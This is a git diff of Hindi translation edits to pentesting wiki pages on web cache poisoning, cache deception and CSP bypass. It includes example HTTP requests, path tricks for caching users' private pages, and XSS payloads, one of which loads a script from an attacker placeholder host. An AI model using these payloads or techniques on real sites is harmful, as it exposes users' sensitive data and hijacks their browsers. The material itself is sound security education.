[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) हेडर नामों में स्वीकार्य वर्णों को निर्दिष्ट करता है। हेडर्स में निर्दिष्ट **tchar** रेंज के बाहर के वर्ण होने पर आदर्श रूप से 400 Bad Request प्रतिक्रिया उत्पन्न होनी चाहिए। व्यवहार में, सर्वर हमेशा इस मानक का पालन नहीं करते हैं। एक उल्लेखनीय उदाहरण Akamai है, जो अवैध वर्णों वाले हेडर को अग्रेषित करता है और किसी भी 400 त्रुटि को कैश करता है, जब तक कि `cache-control` हेडर मौजूद नहीं है। एक exploitable पैटर्न पहचाना गया था जहां अवैध वर्ण जैसे `\` वाला हेडर भेजने पर कैशेबल 400 Bad Request त्रुटि उत्पन्न होती थी।
|
||||
|
||||
### Finding new headers
|
||||
|
||||
@ -194,7 +194,7 @@ Cloudflare ने पहले 403 प्रतिक्रियाओं क
|
||||
|
||||
Cache Deception का लक्ष्य ग्राहकों को **ऐसे संसाधनों को लोड करने के लिए मजबूर करना है जो कैश द्वारा उनके संवेदनशील जानकारी के साथ सहेजे जाने वाले हैं**।
|
||||
|
||||
सबसे पहले यह ध्यान दें कि **extensions** जैसे `.css`, `.js`, `.png` आदि आमतौर पर **कैश में सहेजे जाने के लिए** **कॉन्फ़िगर** किए जाते हैं। इसलिए, यदि आप `www.example.com/profile.php/nonexistent.js` तक पहुंचते हैं, तो कैश संभवतः प्रतिक्रिया को सहेज लेगा क्योंकि यह `.js` **extension** को देखता है। लेकिन, यदि **अनुप्रयोग** _www.example.com/profile.php_ में संग्रहीत **संवेदनशील** उपयोगकर्ता सामग्री के साथ **पुनः खेलता है**, तो आप अन्य उपयोगकर्ताओं से उन सामग्रियों को **चुरा** सकते हैं।
|
||||
सबसे पहले ध्यान दें कि **extensions** जैसे `.css`, `.js`, `.png` आदि आमतौर पर **सहेजे जाने** के लिए **कॉन्फ़िगर** किए जाते हैं। इसलिए, यदि आप `www.example.com/profile.php/nonexistent.js` तक पहुँचते हैं, तो कैश संभवतः प्रतिक्रिया को सहेज लेगा क्योंकि यह `.js` **extension** को देखता है। लेकिन, यदि **application** _www.example.com/profile.php_ में संग्रहीत **संवेदनशील** उपयोगकर्ता सामग्री के साथ **replaying** कर रहा है, तो आप अन्य उपयोगकर्ताओं से उन सामग्रियों को **चुरा** सकते हैं।
|
||||
|
||||
परीक्षण करने के लिए अन्य चीजें:
|
||||
|
||||
@ -203,19 +203,19 @@ Cache Deception का लक्ष्य ग्राहकों को **ऐ
|
||||
- _www.example.com/profile.php/test.js_
|
||||
- _www.example.com/profile.php/../test.js_
|
||||
- _www.example.com/profile.php/%2e%2e/test.js_
|
||||
- _कम ज्ञात एक्सटेंशन का उपयोग करें जैसे_ `.avif`
|
||||
- _कम ज्ञात एक्सटेंशन जैसे_ `.avif` का उपयोग करें
|
||||
|
||||
एक और बहुत स्पष्ट उदाहरण इस लेख में पाया जा सकता है: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
||||
उदाहरण में, यह समझाया गया है कि यदि आप _http://www.example.com/home.php/non-existent.css_ जैसी गैर-मौजूद पृष्ठ को लोड करते हैं, तो _http://www.example.com/home.php_ (**उपयोगकर्ता की संवेदनशील जानकारी के साथ**) की सामग्री लौटाई जाएगी और कैश सर्वर परिणाम को सहेज लेगा।\
|
||||
फिर, **हमलावर** अपने स्वयं के ब्राउज़र में _http://www.example.com/home.php/non-existent.css_ तक पहुंच सकता है और पहले पहुंचने वाले उपयोगकर्ताओं की **गोपनीय जानकारी** देख सकता है।
|
||||
फिर, **attacker** अपने ब्राउज़र में _http://www.example.com/home.php/non-existent.css_ तक पहुँच सकता है और पहले पहुँचने वाले उपयोगकर्ताओं की **गोपनीय जानकारी** देख सकता है।
|
||||
|
||||
ध्यान दें कि **कैश प्रॉक्सी** को फ़ाइलों को **कैश** करने के लिए **कॉन्फ़िगर** किया जाना चाहिए **फाइल के एक्सटेंशन** (_.css_) के आधार पर और सामग्री-प्रकार के आधार पर नहीं। उदाहरण में _http://www.example.com/home.php/non-existent.css_ का `text/html` सामग्री-प्रकार होगा न कि _.css_ फ़ाइल के लिए अपेक्षित `text/css` माइम प्रकार।
|
||||
ध्यान दें कि **cache proxy** को फ़ाइलों को **extension** के आधार पर **cache** करने के लिए **कॉन्फ़िगर** किया जाना चाहिए (_.css_) और सामग्री-प्रकार के आधार पर नहीं। उदाहरण में _http://www.example.com/home.php/non-existent.css_ का `text/html` सामग्री-प्रकार होगा न कि _.css_ फ़ाइल के लिए अपेक्षित `text/css` माइम प्रकार।
|
||||
|
||||
यहां जानें कि [Cache Deceptions हमलों को HTTP Request Smuggling का दुरुपयोग करके कैसे किया जाए](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)।
|
||||
|
||||
## Automatic Tools
|
||||
|
||||
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang स्कैनर जो URLs की एक सूची में वेब कैश पॉइज़निंग कमजोरियों को खोजने और कई इंजेक्शन तकनीकों का परीक्षण करने के लिए है।
|
||||
- [**toxicache**](https://github.com/xhzeem/toxicache): URLs की एक सूची में वेब कैश पॉइज़निंग कमजोरियों को खोजने और कई इंजेक्शन तकनीकों का परीक्षण करने के लिए Golang स्कैनर।
|
||||
|
||||
## References
|
||||
|
||||
|
@ -3,11 +3,11 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!CAUTION]
|
||||
> इस पृष्ठ पर आप विभिन्न प्रकार के तरीके पा सकते हैं जो **वेब सर्वर को त्रुटियों के साथ प्रतिक्रिया देने** के लिए प्रयास करते हैं जो **कैश सर्वरों के लिए मान्य हैं**
|
||||
> इस पृष्ठ पर आप विभिन्न प्रकार के तरीके पा सकते हैं जो **वेब सर्वर को त्रुटियों के साथ प्रतिक्रिया करने** के लिए प्रयास करते हैं जो **कैश सर्वरों के लिए मान्य हैं**
|
||||
|
||||
- **HTTP Header Oversize (HHO)**
|
||||
|
||||
एक अनुरोध भेजें जिसमें हेडर का आकार वेब सर्वर द्वारा समर्थित आकार से बड़ा हो लेकिन कैश सर्वर द्वारा समर्थित आकार से छोटा हो। वेब सर्वर 400 प्रतिक्रिया के साथ प्रतिक्रिया देगा जो कैश किया जा सकता है:
|
||||
एक अनुरोध भेजें जिसमें हेडर का आकार वेब सर्वर द्वारा समर्थित आकार से बड़ा हो लेकिन कैश सर्वर द्वारा समर्थित आकार से छोटा हो। वेब सर्वर 400 प्रतिक्रिया के साथ प्रतिक्रिया करेगा जो कैश किया जा सकता है:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: redacted.com
|
||||
@ -92,7 +92,7 @@ Not Found
|
||||
```
|
||||
- **पथ सामान्यीकरण**
|
||||
|
||||
कुछ पृष्ठ त्रुटि कोड लौटाएंगे जो पथ में डेटा URLencode भेजते हैं, हालाँकि, कैश सर्वर पथ को URLdecode करेगा और URLdecoded पथ के लिए प्रतिक्रिया को संग्रहीत करेगा:
|
||||
कुछ पृष्ठ त्रुटि कोड लौटाएंगे जो पथ में डेटा URLencode कर रहे हैं, हालाँकि, कैश सर्वर पथ को URLdecode करेगा और URLdecoded पथ के लिए प्रतिक्रिया को संग्रहीत करेगा:
|
||||
```
|
||||
GET /api/v1%2e1/user HTTP/1.1
|
||||
Host: redacted.com
|
||||
|
@ -2,51 +2,51 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
यह उस पोस्ट में प्रस्तावित तकनीकों का सारांश है [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) ताकि कैश पॉइज़निंग हमले किए जा सकें **कैश प्रॉक्सी और वेब सर्वर के बीच भिन्नताओं का दुरुपयोग करते हुए।**
|
||||
यह उन तकनीकों का सारांश है जो पोस्ट [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) में प्रस्तावित की गई हैं ताकि **कैश प्रॉक्सी और वेब सर्वर के बीच के भिन्नताओं का दुरुपयोग करके कैश पॉइज़निंग हमले किए जा सकें।**
|
||||
|
||||
> [!NOTE]
|
||||
> इस हमले का लक्ष्य है **कैश सर्वर को यह सोचने के लिए मजबूर करना कि एक स्थिर संसाधन लोड किया जा रहा है** ताकि यह इसे कैश करे जबकि कैश सर्वर पथ का एक भाग कैश कुंजी के रूप में संग्रहीत करता है लेकिन वेब सर्वर एक अन्य पथ को हल करता है। वेब सर्वर वास्तविक पथ को हल करेगा जो एक गतिशील पृष्ठ को लोड करेगा (जो उपयोगकर्ता के बारे में संवेदनशील जानकारी, XSS जैसे दुर्भावनापूर्ण पेलोड या हमलावर की वेबसाइट से JS फ़ाइल लोड करने के लिए पुनर्निर्देशित कर सकता है)।
|
||||
> इस हमले का लक्ष्य **कैश सर्वर को यह सोचने के लिए मजबूर करना है कि एक स्थिर संसाधन लोड किया जा रहा है** ताकि यह इसे कैश करे जबकि कैश सर्वर पथ का एक भाग कैश कुंजी के रूप में संग्रहीत करता है लेकिन वेब सर्वर एक अन्य पथ को हल करता है। वेब सर्वर वास्तविक पथ को हल करेगा जो एक गतिशील पृष्ठ को लोड करेगा (जो उपयोगकर्ता के बारे में संवेदनशील जानकारी, XSS जैसे दुर्भावनापूर्ण पेलोड या हमलावर की वेबसाइट से JS फ़ाइल लोड करने के लिए पुनर्निर्देशित कर सकता है)।
|
||||
|
||||
## Delimiters
|
||||
|
||||
**URL delimiters** ढांचे और सर्वर के अनुसार भिन्न होते हैं, जो यह प्रभावित करते हैं कि अनुरोध कैसे रूट किए जाते हैं और प्रतिक्रियाएँ कैसे संभाली जाती हैं। कुछ सामान्य मूल भिन्नताएँ हैं:
|
||||
**URL delimiters** फ्रेमवर्क और सर्वर के अनुसार भिन्न होते हैं, जो यह प्रभावित करते हैं कि अनुरोध कैसे रूट किए जाते हैं और प्रतिक्रियाएँ कैसे संभाली जाती हैं। कुछ सामान्य मूल डेलिमिटर्स हैं:
|
||||
|
||||
- **Semicolon**: मैट्रिक्स वेरिएबल के लिए स्प्रिंग में उपयोग किया जाता है (जैसे `/hello;var=a/world;var1=b;var2=c` → `/hello/world`)।
|
||||
- **Dot**: Ruby on Rails में प्रतिक्रिया प्रारूप निर्दिष्ट करता है (जैसे `/MyAccount.css` → `/MyAccount`)
|
||||
- **Null Byte**: OpenLiteSpeed में पथों को संक्षिप्त करता है (जैसे `/MyAccount%00aaa` → `/MyAccount`)।
|
||||
- **Newline Byte**: Nginx में URL घटकों को अलग करता है (जैसे `/users/MyAccount%0aaaa` → `/account/MyAccount`)।
|
||||
|
||||
इस प्रक्रिया के बाद अन्य विशिष्ट भिन्नताएँ पाई जा सकती हैं:
|
||||
अन्य विशिष्ट डेलिमिटर्स इस प्रक्रिया के बाद पाए जा सकते हैं:
|
||||
|
||||
- **Step 1**: गैर-कैश करने योग्य अनुरोधों की पहचान करें और यह देखने के लिए उनका उपयोग करें कि संभावित भिन्नताओं वाले URL को कैसे संभाला जाता है।
|
||||
- **Step 2**: पथों में यादृच्छिक उपसर्ग जोड़ें और यह निर्धारित करने के लिए सर्वर की प्रतिक्रिया की तुलना करें कि क्या कोई वर्ण भिन्नता के रूप में कार्य करता है।
|
||||
- **Step 3**: यह देखने के लिए यादृच्छिक उपसर्ग से पहले संभावित भिन्नताएँ पेश करें कि क्या प्रतिक्रिया बदलती है, जो भिन्नता के उपयोग को इंगित करती है।
|
||||
- **Step 1**: गैर-कैश योग्य अनुरोधों की पहचान करें और यह देखने के लिए उनका उपयोग करें कि संभावित डेलिमिटर्स वाले URLs को कैसे संभाला जाता है।
|
||||
- **Step 2**: पथों में यादृच्छिक उपसर्ग जोड़ें और यह निर्धारित करने के लिए सर्वर की प्रतिक्रिया की तुलना करें कि क्या कोई वर्ण डेलिमिटर के रूप में कार्य करता है।
|
||||
- **Step 3**: यादृच्छिक उपसर्ग से पहले संभावित डेलिमिटर्स पेश करें यह देखने के लिए कि क्या प्रतिक्रिया बदलती है, जो डेलिमिटर के उपयोग को इंगित करती है।
|
||||
|
||||
## Normalization & Encodings
|
||||
|
||||
- **Purpose**: कैश और मूल सर्वरों में URL पार्सर URL को सामान्य करते हैं ताकि अंत बिंदु मैपिंग और कैश कुंजी के लिए पथ निकाले जा सकें।
|
||||
- **Process**: पथ भिन्नताओं की पहचान करता है, वर्णों को डिकोड करके और डॉट-सेगमेंट को हटा कर पथ को निकालता और सामान्य करता है।
|
||||
- **Purpose**: कैश और मूल सर्वरों में URL पार्सर URLs को सामान्यीकृत करते हैं ताकि एंडपॉइंट मैपिंग और कैश कुंजी के लिए पथ निकाले जा सकें।
|
||||
- **Process**: पथ डेलिमिटर्स की पहचान करता है, और वर्णों को डिकोड करके और डॉट-सेगमेंट को हटा कर पथ को निकालता और सामान्यीकृत करता है।
|
||||
|
||||
### **Encodings**
|
||||
|
||||
विभिन्न HTTP सर्वर और प्रॉक्सी जैसे Nginx, Node, और CloudFront भिन्नताओं को अलग-अलग डिकोड करते हैं, जिससे CDNs और मूल सर्वरों के बीच असंगतियाँ उत्पन्न होती हैं जिन्हें शोषित किया जा सकता है। उदाहरण के लिए, यदि वेब सर्वर इस परिवर्तन को करता है `/myAccount%3Fparam` → `/myAccount?param` लेकिन कैश सर्वर कुंजी के रूप में पथ `/myAccount%3Fparam` को रखता है, तो एक असंगति है। 
|
||||
विभिन्न HTTP सर्वर और प्रॉक्सी जैसे Nginx, Node, और CloudFront डेलिमिटर्स को अलग-अलग डिकोड करते हैं, जिससे CDNs और मूल सर्वरों के बीच असंगतियाँ उत्पन्न होती हैं जिन्हें शोषित किया जा सकता है। उदाहरण के लिए, यदि वेब सर्वर इस परिवर्तन को करता है `/myAccount%3Fparam` → `/myAccount?param` लेकिन कैश सर्वर कुंजी के रूप में पथ `/myAccount%3Fparam` को रखता है, तो एक असंगति है। 
|
||||
|
||||
इन असंगतियों की जांच करने का एक तरीका यह है कि पथ को बिना किसी एन्कोडिंग के लोड करने के बाद विभिन्न वर्णों को URL एन्कोडिंग के साथ अनुरोध भेजें और जांचें कि क्या एन्कोडेड पथ की प्रतिक्रिया कैश की गई प्रतिक्रिया से आई थी।
|
||||
|
||||
### Dot segment
|
||||
|
||||
जहाँ डॉट शामिल होते हैं, पथ सामान्यीकरण भी कैश पॉइज़निंग हमलों के लिए बहुत दिलचस्प है। उदाहरण के लिए, `/static/../home/index` या `/aaa..\home/index`, कुछ कैश सर्वर इन पथों को अपने आप को कुंजी के रूप में कैश करेंगे जबकि अन्य पथ को हल कर सकते हैं और `/home/index` को कैश कुंजी के रूप में उपयोग कर सकते हैं।\
|
||||
जैसे पहले, इस प्रकार के अनुरोध भेजना और यह जांचना कि क्या प्रतिक्रिया कैश से प्राप्त की गई थी, यह पहचानने में मदद करता है कि `/home/index` के लिए प्रतिक्रिया उन पथों के अनुरोध किए जाने पर भेजी गई प्रतिक्रिया है।
|
||||
जहाँ डॉट शामिल होते हैं, पथ सामान्यीकरण भी कैश पॉइज़निंग हमलों के लिए बहुत दिलचस्प है। उदाहरण के लिए, `/static/../home/index` या `/aaa..\home/index`, कुछ कैश सर्वर इन पथों को उनके साथ कुंजी के रूप में कैश करेंगे जबकि अन्य पथ को हल कर सकते हैं और `/home/index` को कैश कुंजी के रूप में उपयोग कर सकते हैं।\
|
||||
जैसे पहले, इस प्रकार के अनुरोध भेजना और यह जांचना कि क्या प्रतिक्रिया कैश से प्राप्त की गई थी, यह पहचानने में मदद करता है कि `/home/index` के लिए प्रतिक्रिया वही है जो उन पथों के अनुरोध किए जाने पर भेजी गई थी।
|
||||
|
||||
## Static Resources
|
||||
|
||||
कई कैश सर्वर हमेशा एक प्रतिक्रिया को कैश करेंगे यदि इसे स्थिर के रूप में पहचाना गया। यह इस कारण हो सकता है:
|
||||
|
||||
- **The extension**: Cloudflare हमेशा निम्नलिखित एक्सटेंशन वाले फ़ाइलों को कैश करेगा: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx
|
||||
- यह एक गतिशील प्रतिक्रिया को कैश करने के लिए एक भिन्नता और एक स्थिर एक्सटेंशन का उपयोग करके मजबूर करना संभव है जैसे `/home$image.png` के लिए अनुरोध `/home$image.png` को कैश करेगा और मूल सर्वर `/home` के साथ प्रतिक्रिया देगा
|
||||
- यह एक गतिशील प्रतिक्रिया को कैश करने के लिए एक डेलिमिटर और एक स्थिर एक्सटेंशन का उपयोग करके मजबूर करना संभव है जैसे `/home$image.png` का अनुरोध `/home$image.png` को कैश करेगा और मूल सर्वर `/home` के साथ प्रतिक्रिया देगा
|
||||
- **Well-known static directories**: निम्नलिखित निर्देशिकाएँ स्थिर फ़ाइलें रखती हैं और इसलिए उनकी प्रतिक्रिया को कैश किया जाना चाहिए: /static, /assets, /wp-content, /media, /templates, /public, /shared
|
||||
- यह एक भिन्नता, एक स्थिर निर्देशिका और डॉट्स का उपयोग करके गतिशील प्रतिक्रिया को कैश करने के लिए मजबूर करना संभव है जैसे: `/home/..%2fstatic/something` `/static/something` को कैश करेगा और प्रतिक्रिया होगी`/home`
|
||||
- **Static dirs + dots**: `/static/..%2Fhome` या `/static/..%5Chome` के लिए अनुरोध को जैसे है कैश किया जा सकता है लेकिन प्रतिक्रिया `/home` हो सकती है
|
||||
- **Static files:** कुछ विशिष्ट फ़ाइलें हमेशा कैश की जाती हैं जैसे `/robots.txt`, `/favicon.ico`, और `/index.html`। जिसे इस तरह से दुरुपयोग किया जा सकता है जैसे `/home/..%2Frobots.txt` जहाँ कैश `/robots.txt` को स्टोर कर सकता है और मूल सर्वर `/home` के लिए प्रतिक्रिया देता है।
|
||||
- यह एक गतिशील प्रतिक्रिया को कैश करने के लिए एक डेलिमिटर, एक स्थिर निर्देशिका और डॉट्स का उपयोग करके मजबूर करना संभव है जैसे: `/home/..%2fstatic/something` `/static/something` को कैश करेगा और प्रतिक्रिया होगी `/home`
|
||||
- **Static dirs + dots**: `/static/..%2Fhome` या `/static/..%5Chome` के लिए एक अनुरोध जैसे है, इसे वैसा ही कैश किया जा सकता है लेकिन प्रतिक्रिया `/home` हो सकती है
|
||||
- **Static files:** कुछ विशिष्ट फ़ाइलें हमेशा कैश की जाती हैं जैसे `/robots.txt`, `/favicon.ico`, और `/index.html`। जिसे इस तरह से दुरुपयोग किया जा सकता है जैसे `/home/..%2Frobots.txt` जहाँ कैश `/robots.txt` को संग्रहीत कर सकता है और मूल सर्वर `/home` के लिए प्रतिक्रिया देता है।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## What is CSP
|
||||
|
||||
Content Security Policy (CSP) एक ब्राउज़र तकनीक के रूप में पहचानी जाती है, जिसका मुख्य उद्देश्य **क्रॉस-साइट स्क्रिप्टिंग (XSS)** जैसे हमलों से सुरक्षा करना है। यह उन पथों और स्रोतों को परिभाषित और विस्तृत करके कार्य करता है जिनसे संसाधनों को ब्राउज़र द्वारा सुरक्षित रूप से लोड किया जा सकता है। ये संसाधन छवियों, फ्रेमों और JavaScript जैसे विभिन्न तत्वों को शामिल करते हैं। उदाहरण के लिए, एक नीति एक ही डोमेन (self) से संसाधनों को लोड और निष्पादित करने की अनुमति दे सकती है, जिसमें इनलाइन संसाधन और `eval`, `setTimeout`, या `setInterval` जैसी कार्यों के माध्यम से स्ट्रिंग कोड का निष्पादन शामिल है।
|
||||
Content Security Policy (CSP) एक ब्राउज़र तकनीक के रूप में पहचानी जाती है, जिसका मुख्य उद्देश्य **क्रॉस-साइट स्क्रिप्टिंग (XSS)** जैसे हमलों से सुरक्षा करना है। यह उन पथों और स्रोतों को परिभाषित और विस्तृत करके कार्य करता है जिनसे संसाधनों को ब्राउज़र द्वारा सुरक्षित रूप से लोड किया जा सकता है। ये संसाधन छवियों, फ्रेमों और JavaScript जैसे विभिन्न तत्वों को शामिल करते हैं। उदाहरण के लिए, एक नीति एक ही डोमेन (स्वयं) से संसाधनों को लोड और निष्पादित करने की अनुमति दे सकती है, जिसमें इनलाइन संसाधन और `eval`, `setTimeout`, या `setInterval` जैसी कार्यों के माध्यम से स्ट्रिंग कोड का निष्पादन शामिल है।
|
||||
|
||||
CSP का कार्यान्वयन **प्रतिक्रिया हेडर** के माध्यम से या **HTML पृष्ठ में मेटा तत्वों को शामिल करके** किया जाता है। इस नीति का पालन करते हुए, ब्राउज़र सक्रिय रूप से इन शर्तों को लागू करते हैं और तुरंत किसी भी पहचानी गई उल्लंघनों को ब्लॉक कर देते हैं।
|
||||
|
||||
@ -18,7 +18,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
|
||||
```
|
||||
### Headers
|
||||
|
||||
CSP को इन हेडर का उपयोग करके लागू या मॉनिटर किया जा सकता है:
|
||||
CSP को इन हेडर्स का उपयोग करके लागू या मॉनिटर किया जा सकता है:
|
||||
|
||||
- `Content-Security-Policy`: CSP को लागू करता है; ब्राउज़र किसी भी उल्लंघन को ब्लॉक करता है।
|
||||
- `Content-Security-Policy-Report-Only`: मॉनिटरिंग के लिए उपयोग किया जाता है; उल्लंघनों की रिपोर्ट करता है बिना उन्हें ब्लॉक किए। प्री-प्रोडक्शन वातावरण में परीक्षण के लिए आदर्श।
|
||||
@ -42,10 +42,10 @@ object-src 'none';
|
||||
- **script-src**: JavaScript के लिए विशिष्ट स्रोतों की अनुमति देता है, जिसमें URLs, इनलाइन स्क्रिप्ट और इवेंट हैंडलर्स या XSLT स्टाइलशीट द्वारा ट्रिगर की गई स्क्रिप्ट शामिल हैं।
|
||||
- **default-src**: जब विशिष्ट फेच निर्देश अनुपस्थित होते हैं, तो संसाधनों को लाने के लिए एक डिफ़ॉल्ट नीति सेट करता है।
|
||||
- **child-src**: वेब वर्कर्स और एम्बेडेड फ्रेम सामग्री के लिए अनुमत संसाधनों को निर्दिष्ट करता है।
|
||||
- **connect-src**: उन URLs को प्रतिबंधित करता है जिन्हें fetch, WebSocket, XMLHttpRequest जैसी इंटरफेस का उपयोग करके लोड किया जा सकता है।
|
||||
- **connect-src**: उन URLs को प्रतिबंधित करता है जिन्हें fetch, WebSocket, XMLHttpRequest जैसे इंटरफेस का उपयोग करके लोड किया जा सकता है।
|
||||
- **frame-src**: फ्रेम के लिए URLs को प्रतिबंधित करता है।
|
||||
- **frame-ancestors**: निर्दिष्ट करता है कि कौन से स्रोत वर्तमान पृष्ठ को एम्बेड कर सकते हैं, जो `<frame>`, `<iframe>`, `<object>`, `<embed>`, और `<applet>` जैसे तत्वों पर लागू होता है।
|
||||
- **img-src**: छवियों के लिए अनुमत स्रोतों को परिभाषित करता है।
|
||||
- **img-src**: चित्रों के लिए अनुमत स्रोतों को परिभाषित करता है।
|
||||
- **font-src**: `@font-face` का उपयोग करके लोड किए गए फोंट के लिए मान्य स्रोतों को निर्दिष्ट करता है।
|
||||
- **manifest-src**: एप्लिकेशन मैनिफेस्ट फ़ाइलों के लिए अनुमत स्रोतों को परिभाषित करता है।
|
||||
- **media-src**: मीडिया ऑब्जेक्ट्स को लोड करने के लिए अनुमत स्रोतों को परिभाषित करता है।
|
||||
@ -64,17 +64,17 @@ object-src 'none';
|
||||
|
||||
- `*`: सभी URLs की अनुमति देता है सिवाय `data:`, `blob:`, `filesystem:` स्कीमों के।
|
||||
- `'self'`: उसी डोमेन से लोड करने की अनुमति देता है।
|
||||
- `'data'`: डेटा स्कीम के माध्यम से संसाधनों को लोड करने की अनुमति देता है (जैसे, Base64 एन्कोडेड छवियाँ)।
|
||||
- `'data'`: डेटा स्कीम के माध्यम से संसाधनों को लोड करने की अनुमति देता है (जैसे, Base64 एन्कोडेड चित्र)।
|
||||
- `'none'`: किसी भी स्रोत से लोडिंग को ब्लॉक करता है।
|
||||
- `'unsafe-eval'`: `eval()` और समान विधियों के उपयोग की अनुमति देता है, सुरक्षा कारणों से अनुशंसित नहीं है।
|
||||
- `'unsafe-hashes'`: विशिष्ट इनलाइन इवेंट हैंडलर्स को सक्षम करता है।
|
||||
- `'unsafe-inline'`: इनलाइन `<script>` या `<style>` जैसे इनलाइन संसाधनों के उपयोग की अनुमति देता है, सुरक्षा कारणों से अनुशंसित नहीं है।
|
||||
- `'nonce'`: एक क्रिप्टोग्राफिक nonce (एक बार उपयोग किया जाने वाला नंबर) का उपयोग करके विशिष्ट इनलाइन स्क्रिप्ट के लिए एक व्हाइटलिस्ट।
|
||||
- यदि आपके पास JS सीमित निष्पादन है, तो यह संभव है कि आप पृष्ठ के अंदर एक उपयोग किया गया nonce प्राप्त करें `doc.defaultView.top.document.querySelector("[nonce]")` के साथ और फिर इसे एक दुर्भावनापूर्ण स्क्रिप्ट लोड करने के लिए पुन: उपयोग करें (यदि strict-dynamic का उपयोग किया गया है, तो कोई भी अनुमत स्रोत नए स्रोतों को लोड कर सकता है इसलिए इसकी आवश्यकता नहीं है), जैसे कि:
|
||||
- यदि आपके पास JS सीमित निष्पादन है तो यह संभव है कि पृष्ठ के अंदर एक उपयोग किया गया nonce प्राप्त किया जाए `doc.defaultView.top.document.querySelector("[nonce]")` के साथ और फिर इसे एक दुर्भावनापूर्ण स्क्रिप्ट लोड करने के लिए पुन: उपयोग किया जाए (यदि strict-dynamic का उपयोग किया गया है, तो कोई भी अनुमत स्रोत नए स्रोतों को लोड कर सकता है इसलिए इसकी आवश्यकता नहीं है), जैसे कि:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Nonce का पुन: उपयोग करके स्क्रिप्ट लोड करें</summary>
|
||||
<summary>Nonce का पुन: उपयोग करते हुए स्क्रिप्ट लोड करें</summary>
|
||||
```html
|
||||
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
|
||||
<img
|
||||
@ -137,9 +137,9 @@ Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||
"/>'><script src=https://attacker-website.com/evil.js></script>
|
||||
"/>'><script src=data:text/javascript,alert(1337)></script>
|
||||
```
|
||||
### ऑब्जेक्ट-स्रोत और डिफ़ॉल्ट-स्रोत की कमी
|
||||
### Lack of object-src and default-src
|
||||
|
||||
> [!CAUTION] > **ऐसा लगता है कि यह अब काम नहीं कर रहा है**
|
||||
> [!CAUTION] > **यह लगता है कि यह अब काम नहीं कर रहा है**
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self' ;
|
||||
```
|
||||
@ -163,20 +163,20 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
|
||||
इसके अलावा, भले ही आप सर्वर द्वारा स्वीकार की गई एक्सटेंशन (जैसे: _script.png_) का उपयोग करके एक **JS कोड फ़ाइल के अंदर** अपलोड कर सकें, यह पर्याप्त नहीं होगा क्योंकि कुछ सर्वर जैसे अपाचे सर्वर **फाइल के एक्सटेंशन के आधार पर MIME प्रकार का चयन करते हैं** और ब्राउज़र जैसे Chrome **जावास्क्रिप्ट** कोड को कुछ ऐसा करने से **अस्वीकृत कर देंगे जो एक छवि होनी चाहिए**। "उम्मीद है", वहाँ गलतियाँ हैं। उदाहरण के लिए, एक CTF से मैंने सीखा कि **Apache को _**.wave**_ एक्सटेंशन का पता नहीं है, इसलिए यह इसे **MIME प्रकार जैसे audio/\*** के साथ सर्व नहीं करता है।
|
||||
|
||||
यहां से, यदि आप एक XSS और एक फ़ाइल अपलोड पाते हैं, और आप एक **गलत व्याख्यायित एक्सटेंशन** खोजने में सफल होते हैं, तो आप उस एक्सटेंशन के साथ एक फ़ाइल अपलोड करने और स्क्रिप्ट की सामग्री को आज़मा सकते हैं। या, यदि सर्वर अपलोड की गई फ़ाइल के सही प्रारूप की जांच कर रहा है, तो एक पॉलीग्लॉट बनाएं ([कुछ पॉलीग्लॉट उदाहरण यहाँ](https://github.com/Polydet/polyglot-database))।
|
||||
यहां से, यदि आप एक XSS और एक फ़ाइल अपलोड पाते हैं, और आप एक **गलत व्याख्यायित एक्सटेंशन** खोजने में सफल होते हैं, तो आप उस एक्सटेंशन के साथ एक फ़ाइल अपलोड करने और स्क्रिप्ट की सामग्री को आज़मा सकते हैं। या, यदि सर्वर अपलोड की गई फ़ाइल के सही प्रारूप की जांच कर रहा है, तो एक पॉलीग्लॉट बनाएं ([यहां कुछ पॉलीग्लॉट उदाहरण](https://github.com/Polydet/polyglot-database))।
|
||||
|
||||
### Form-action
|
||||
|
||||
यदि JS इंजेक्ट करना संभव नहीं है, तो आप उदाहरण के लिए क्रेडेंशियल्स को **फॉर्म एक्शन इंजेक्ट करके** निकालने की कोशिश कर सकते हैं (और शायद पासवर्ड प्रबंधकों से पासवर्ड स्वचालित रूप से भरने की उम्मीद कर सकते हैं)। आप [**इस रिपोर्ट में एक उदाहरण पा सकते हैं**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)। इसके अलावा, ध्यान दें कि `default-src` फॉर्म क्रियाओं को कवर नहीं करता है।
|
||||
|
||||
### थर्ड पार्टी एंडपॉइंट + ('unsafe-eval')
|
||||
### Third Party Endpoints + ('unsafe-eval')
|
||||
|
||||
> [!WARNING]
|
||||
> निम्नलिखित में से कुछ पेलोड के लिए **`unsafe-eval` की आवश्यकता नहीं है**।
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
||||
```
|
||||
एक कमजोर संस्करण का एंगुलर लोड करें और मनमाने JS को निष्पादित करें:
|
||||
एक कमजोर संस्करण का एंगुलर लोड करें और मनमाना JS निष्पादित करें:
|
||||
```xml
|
||||
